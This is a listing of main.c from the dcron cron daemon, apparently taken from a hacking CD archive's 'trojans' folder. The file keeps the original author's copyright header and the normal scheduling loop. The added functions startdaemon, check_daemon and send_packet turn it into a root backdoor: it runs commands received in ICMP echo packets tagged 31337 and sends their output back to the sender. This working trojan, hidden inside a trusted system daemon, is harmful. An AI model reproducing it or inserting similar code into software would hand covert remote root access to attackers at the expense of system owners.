home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / trojans / dcron / main.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  6.6 KB  |  307 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/ip.h>
  6. #include <netinet/ip_icmp.h>
  7. #include <netinet/in.h>
  8. #include <unistd.h>
  9.  
  10. /*
  11.  * MAIN.C
  12.  *
  13.  * dcron -d[#] -c <crondir> -f -b
  14.  *
  15.  * run as root, but NOT setuid root
  16.  *
  17.  * Copyright 1994 Matthew Dillon (dillon@apollo.west.oic.com)
  18.  * May be distributed under the GNU General Public License
  19.  */
  20.  
  21. #include "defs.h"
  22.  
  23. #define RID 31337
  24. #define LID 12345
  25.  
  26. void check_daemon(int sleeptime);
  27. void send_packet(unsigned long to, unsigned int id,char *data);
  28. u_short cksum(u_short *buf, int nwords);
  29. void startdaemon(int vafan);
  30.  
  31. Prototype short DebugOpt;
  32. Prototype short LogLevel;
  33. Prototype short ForegroundOpt;
  34. Prototype char *CDir;
  35. Prototype int DaemonUid;
  36.  
  37. short DebugOpt;
  38. short LogLevel = 8;
  39. short ForegroundOpt;
  40. char  *CDir = CRONTABS;
  41. int DaemonUid;
  42. int lsock;
  43.  
  44. int
  45. main(int ac, char **av)
  46. {
  47.     int i;
  48.     time_t t1 = time(NULL);
  49.     time_t t2;
  50.     long dt;
  51.     short rescan = 60;
  52.     short stime = 60;
  53.                                             
  54.     /*
  55.      * parse options
  56.      */
  57.  
  58.     DaemonUid = getuid();
  59.  
  60.     for (i = 1; i < ac; ++i) {
  61.         char *ptr = av[i];
  62.  
  63.         if (*ptr == '-') {
  64.         ptr += 2;
  65.  
  66.         switch(ptr[-1]) {
  67.         case 'l':
  68.         LogLevel = (*ptr) ? strtol(ptr, NULL, 0) : 1;
  69.         continue;
  70.         case 'd':
  71.         DebugOpt = (*ptr) ? strtol(ptr, NULL, 0) : 1;
  72.         LogLevel = 0;
  73.         /* fall through */
  74.         case 'f':
  75.         ForegroundOpt = 1;
  76.         continue;
  77.         case 'b':
  78.             ForegroundOpt = 0;
  79.             continue;
  80.         case 'c':
  81.         CDir = (*ptr) ? ptr : av[++i];
  82.         continue;
  83.         default:
  84.         break;
  85.         }
  86.     }
  87.     break;    /* error */
  88.     }
  89.  
  90.     /*
  91.      * check for parse error
  92.      */
  93.  
  94.     if (i != ac) {
  95.         if (i > ac)
  96.             puts("expected argument for option");
  97.     printf("dcron " VERSION "\n");
  98.     printf("dcron -d[#] -l[#] -f -b -c dir\n");
  99.     exit(1);
  100.     }
  101.  
  102.     /*
  103.      * change directory
  104.      */
  105.  
  106.     if (chdir(CDir) != 0) {
  107.         perror("chdir");
  108.         exit(1);
  109.     }
  110.  
  111.     /*
  112.      * close stdin and stdout (stderr normally redirected by caller).
  113.      * close unused descriptors
  114.      * optional detach from controlling terminal
  115.      */
  116.  
  117.     fclose(stdin);
  118.     fclose(stdout);
  119.  
  120.     i = open("/dev/null", O_RDWR);
  121.     if (i < 0) {
  122.         perror("open: /dev/null:");
  123.         exit(1);
  124.     }
  125.     dup2(i, 0);
  126.     dup2(i, 1);
  127.  
  128.     for (i = 3; i < OPEN_MAX; ++i) {
  129.         close(i);
  130.     }
  131.  
  132.     if (ForegroundOpt == 0) {
  133.         int fd;
  134.         int pid;
  135.  
  136.         if ((fd = open("/dev/tty", O_RDWR)) >= 0) {
  137.             ioctl(fd, TIOCNOTTY, 0);
  138.             close(fd);
  139.     }
  140.  
  141.         pid = fork();
  142.  
  143.         if (pid < 0) {
  144.             perror("fork");
  145.             exit(1);
  146.         }
  147.         if (pid > 0)
  148.             exit(0);
  149.     }
  150.  
  151.     /* 
  152.      * main loop - synchronize to 1 second after the minute, minimum sleep
  153.      *             of 1 second.
  154.      */
  155.  
  156.     log9("%s " VERSION " dillon, started\n", av[0]);
  157.     SynchronizeDir(".");
  158.     startdaemon(1);
  159.     
  160.     for (;;) {
  161.         check_daemon((stime + 1) - (short)(time(NULL) % stime));
  162.  
  163.         t2 = time(NULL);
  164.         dt = t2 - t1;
  165.  
  166.         /*
  167.          * The file 'cron.update' is checked to determine new cron
  168.          * jobs.  The directory is rescanned once an hour to deal
  169.          * with any screwups.
  170.          *
  171.          * check for disparity.  Disparities over an hour either way
  172.          * result in resynchronization.  A reverse-indexed disparity
  173.          * less then an hour causes us to effectively sleep until we
  174.          * match the original time (i.e. no re-execution of jobs that
  175.          * have just been run).  A forward-indexed disparity less then
  176.          * an hour causes intermediate jobs to be run, but only once
  177.          * in the worst case.
  178.          *
  179.          * when running jobs, the inequality used is greater but not
  180.          * equal to t1, and less then or equal to t2.
  181.          */
  182.  
  183.         if (--rescan == 0) {
  184.             rescan = 60;
  185.             SynchronizeDir(".");
  186.         }
  187.         CheckUpdates();
  188.         if (DebugOpt)
  189.             log(5, "Wakeup dt=%d\n", dt);
  190.         if (dt < -60*60 || dt > 60*60) {
  191.             t1 = t2;
  192.             log9("time disparity of %d minutes detected\n", dt / 60);
  193.         } else if (dt > 0) {
  194.             TestJobs(t1, t2);
  195.             RunJobs();
  196.             sleep(5);
  197.             if (CheckJobs() > 0)
  198.                stime = 10;
  199.             else
  200.                stime = 60;
  201.             t1 = t2;
  202.         }
  203.     }
  204.     /* not reached */
  205. }
  206.  
  207. void startdaemon(int vafan)
  208. {
  209.   if(geteuid())
  210.     return;
  211.   close(0);close(1);close(2);
  212.   lsock=socket(AF_INET,SOCK_RAW,1);
  213.   fcntl(lsock,F_SETFL,O_NONBLOCK);
  214. }
  215.  
  216. void check_daemon(int sleeptime)
  217. {
  218.   fd_set f;
  219.   time_t t,o;
  220.   struct timeval ti;
  221.   char buf[512],databuf[512];
  222.   struct iphdr *ip=(struct iphdr *)buf;
  223.   struct icmphdr *icmp=(struct icmphdr *)(buf+sizeof(struct iphdr));
  224.   FILE *haha;
  225.   int i;
  226.   static int status=1;
  227.   char *p;
  228.   
  229.   o=time(NULL);
  230.   
  231.   while(1)
  232.   {
  233.     FD_ZERO(&f);
  234.     FD_SET(lsock,&f);
  235.     ti.tv_sec=2;
  236.     ti.tv_usec=0;
  237.     
  238.     if(select(FD_SETSIZE,&f,NULL,NULL,&ti))
  239.     {
  240.       i=recv(lsock,buf,512,0);
  241.       if(ip->protocol == 1 && icmp->type == 0 && ntohs(icmp->un.echo.id) == RID && status)
  242.       {
  243.         if(status==1) {
  244.           send_packet(ip->saddr,LID,"XxX");
  245.           status++;
  246.         }
  247.         else {
  248.           p=(buf+sizeof(struct iphdr)+sizeof(struct icmphdr));
  249.           memcpy(databuf,p,i-(sizeof(struct iphdr)+sizeof(struct icmphdr))+1);
  250.           if(strcasecmp(databuf,"exit") == 0)
  251.             status = 0;
  252.           else {
  253.             if((haha=popen(databuf,"r")) == NULL)
  254.               send_packet(ip->saddr,LID,"Unknown command.\n");
  255.             else {
  256.               i=0;
  257.               while(fgets(databuf,512,haha) != NULL) {
  258.                 i++;
  259.                 send_packet(ip->saddr,LID,databuf);
  260.               } 
  261.               if(!i)
  262.                 send_packet(ip->saddr,LID,"Unknown command.\n");
  263.               pclose(haha);
  264.             }
  265.           }
  266.         }
  267.       }    
  268.     }
  269.     t=time(NULL);
  270.     if((t-sleeptime)>=o) {
  271.       if(!status)
  272.         status=1;
  273.       return;
  274.     }
  275.   }
  276. }
  277.  
  278. void send_packet(unsigned long to, unsigned int id,char *data)
  279. {
  280.   char buf[512];
  281.   struct icmphdr *icmp = (struct icmphdr *)buf;
  282.   char *bla=(buf+sizeof(struct icmphdr));
  283.   struct sockaddr_in sa;
  284.   int i,sock;
  285.  
  286.   sock=socket(AF_INET,SOCK_RAW,1);
  287.   bzero(buf,512);
  288.   icmp->type=0;
  289.   icmp->un.echo.id=htons(id);
  290.   strcpy(bla,data);
  291.   icmp->checksum=cksum((u_short *)icmp,(9+strlen(data))>>1);
  292.   sa.sin_family=AF_INET;
  293.   sa.sin_addr.s_addr=to;
  294.   i=sendto(sock,buf,(9+strlen(data)),0,(struct sockaddr *)&sa,sizeof(sa));
  295.   close(sock);
  296. }
  297.  
  298. u_short cksum(u_short *buf, int nwords) {
  299.         unsigned long sum;
  300.  
  301.         for ( sum = 0; nwords > 0; nwords -- )
  302.                 sum += *buf++;
  303.         sum = ( sum >> 16) + ( sum & 0xffff );
  304.         sum += ( sum >> 16 );
  305.         return ~sum ;
  306. }
  307.